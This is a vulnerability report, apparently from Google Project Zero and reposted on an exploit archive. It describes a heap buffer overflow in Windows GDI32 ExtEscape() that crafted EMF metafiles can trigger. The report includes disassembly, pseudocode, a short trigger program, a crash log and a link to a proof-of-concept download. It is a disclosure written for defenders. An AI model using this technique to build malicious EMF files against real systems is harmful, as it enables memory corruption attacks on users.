Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=731
Two of the escape codes supported by the public ExtEscape() API are POSTSCRIPT_IDENTIFY and POSTSCRIPT_INJECTION, which are only processed if the Device Context is associated with a printer. In the code responsible for handling the two escape codes, we can find the following constructs:
--- cut ---
.text:7DAE3E9F mov ecx, [ebp+cjInput]
.text:7DAE3EA2 lea eax, [ecx+1Ah]
.text:7DAE3EA5 add ecx, 17h
.text:7DAE3EA8 cmp eax, ecx
.text:7DAE3EAA jb loc_7DAD19AD
.text:7DAE3EB0 and eax, 0FFFFFFFCh
.text:7DAE3EB3 mov [ebp+Size], eax
.text:7DAE3EB9 push [ebp+Size] ; Size
.text:7DAE3EBF mov eax, large fs:18h
.text:7DAE3EC5 mov eax, [eax+30h]
.text:7DAE3EC8 push 0 ; Flags
.text:7DAE3ECA push dword ptr [eax+18h] ; HeapHandle
.text:7DAE3ECD call ds:__imp__RtlAllocateHeap@12 ; RtlAllocateHeap(x,x,x)
...
.text:7DAE3EEF mov eax, [ebp+cjInput]
.text:7DAE3EF2 push eax ; Size
.text:7DAE3EF3 mov [esi+10h], eax
.text:7DAE3EF6 lea eax, [esi+14h]
.text:7DAE3EF9 push edi ; Src
.text:7DAE3EFA push eax ; Dst
.text:7DAE3EFB call _memcpy
--- cut ---
which can be translated to the following C-like pseudocode (assuming 32-bit wide types):
--- cut ---
if (cjInput + 26 > cjInput > 23) {
buffer = Allocate((cjInput + 26) & ~4);
...
memcpy(buffer + 20, lpInData, cjInput);
...
}
--- cut ---
From the code snippet shown above, it is clear that while it checks for a possible integer overflow between cjInput+23 and cjInput+26, it does not check if the "+23" part overflows the 32-bit type or not. As a consequence, if cjInput is set to anywhere between -23 and -1, a small heap-based buffer will be allocated (<30 bytes) and the function will try to copy ~4GB of data into it, leading to an obvious buffer overflow condition.
Under normal circumstances, the problem can only be triggered with an unusually large value of the cjInput parameter, which is unlikely to be used by a programmer. However, EMF (Enhanced Windows Metafile) files can act as remote proxy for DrawEscape() (via EMR_DRAWESCAPE) and ExtEscape() (via EMR_EXTESCAPE) calls. Interestingly, the corresponding MRESCAPE::bCheckRecord() record verification routine doesn't ensure that the cjInput value is valid (i.e. that enough input data is actually present in the record). As a result, a specially crafted EMF file can pass any controlled value as cjInput, thus potentially /lying/ to ExtEscape() about the number of input bytes. Lack of cjInput sanitization in MRESCAPE::bCheckRecord() is therefore believed to be the culprit of the bug (regardless of the integer overflow in ExtEscape()).
While this is just one example of what an arbitrary cjInput parameter passed to DrawEscape() / ExtEscape() may lead to, we suspect that it could also have other security implications, e.g. if any of the functions trust cjInput and read beyond the record buffer, and then use the data in such a way that it is possible to retrieve it back in the client (like Internet Explorer), then it could be used as a memory disclosure primitive.
As previously mentioned, the bug only reproduces when the destination HDC is associated with a printer. After a brief search I haven't found a vector to achieve this using existing Windows client applications supporting the EMF format (such as IE), so I've developed a short dedicated program to demonstrate the problem (poc.cc), which boils down to the following API calls:
--- cut ---
HDC hdc = CreateDC("WINSPOOL", "Fax", NULL, NULL);
HENHMETAFILE hemf = GetEnhMetaFile("poc.emf");
RECT rect = {0, 0, 100, 100};
PlayEnhMetaFile(hdc, hemf, &rect);
--- cut ---
Upon compiling it and starting with the enclosed poc.emf file in the current working directory, the expected crash is generated in memcpy():
--- cut ---
(353c.fa4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=003300e7 ebx=004ffbe8 ecx=3ffffc39 edx=00000003 esi=00331000 edi=00500c1c
eip=779823a3 esp=0028fb34 ebp=0028fb3c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!memcpy+0x33:
779823a3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr Args to Child
0028fb3c 771a3f00 004ffd04 003300e8 ffffffff ntdll!memcpy+0x33
0028fd98 771c3fa9 bc21881a 00001015 ffffffff GDI32!ExtEscape+0x431
0028fdbc 77194e17 bc21881a 004f9588 00000004 GDI32!MRESCAPE::bPlay+0x32
0028fe34 7719ca93 bc21881a 004f9588 003300d8 GDI32!PlayEnhMetaFileRecord+0x2c5
0028febc 7719caf2 bc21881a 423d5f3a 00000000 GDI32!bInternalPlayEMF+0x66b
0028fed8 00401479 bc21881a b6467a1d 0028fef8 GDI32!PlayEnhMetaFile+0x32
WARNING: Stack unwind information not available. Following frames may be wrong.
0028ff18 004010fd 0028ff28 75949e34 7efde000 image00400000+0x1479
0028ff94 77999882 7efde000 4f2b9f18 00000000 image00400000+0x10fd
0028ffd4 77999855 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
--- cut ---
The bug has been reproduced on a fully patched Windows 7 64-bit with a 32-bit POC program, but the 64-bit build of gdi32.dll also seems to be affected.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39834.zip